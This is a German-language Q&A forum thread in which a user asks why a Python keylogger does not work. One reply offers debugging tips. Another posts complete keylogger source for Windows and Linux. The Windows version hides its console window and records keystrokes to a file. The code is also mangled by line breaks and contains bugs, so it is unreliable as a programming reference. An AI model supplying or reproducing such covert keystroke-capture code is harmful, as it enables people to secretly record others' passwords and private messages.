Code funkitoniert nicht?
Ich habe versuchr einen Key-Logger In python zu machen aber er geht nicht
mein code:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
2 Antworten
Von gutefrage auf Grund seines Wissens auf einem Fachgebiet ausgezeichneter Nutzer
Computer
Versuch erstmal die funktionen ansich zu testen. Beispielsweise nach der "on press"-Funktion etwas printen etc.
Woher ich das weiß:Hobby – Beschäftige mich oft mit Computern
Hallo!
Für WIndows:
# Python code for keylogger
# to be used in windows
import
win32api
import
win32console
import
win32gui
import
pythoncom, pyHook
win =
win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def
OnKeyboardEvent(event):
if
event.Ascii==5:
_exit(1)
if
event.Ascii !=0
or
8:
#open output.txt to read current keystrokes
f =
open('c:\output.txt', 'r+')
buffer
=
f.read()
f.close()
# open output.txt to write current + new keystrokes
f =
open('c:\output.txt', 'w')
keylogs =
chr(event.Ascii)
if
event.Ascii ==
13:
keylogs =
'/n'
buffer
+=
keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm =
pyHook.HookManager()
hm.KeyDown =
OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Linux:
# Python code for keylogger
# to be used in linux
import
os
import
pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file =
os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key =
ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if
os.environ.get('pylogger_clean', None) is
not
None:
try:
os.remove(log_file)
except
EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def
OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook =
pyxhook.HookManager()
new_hook.KeyDown =
OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except
KeyboardInterrupt:
# User cancelled from command line.
pass
except
Exception as ex:
# Write exceptions to the log file, for analysis later.
msg =
'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
MFG
鳴ふみ Narufumi
Woher ich das weiß:eigene Erfahrung
Bitte passe deine Antwort noch so an, dass nicht jede einzelne Zeile einen eigenen Codeblock braucht.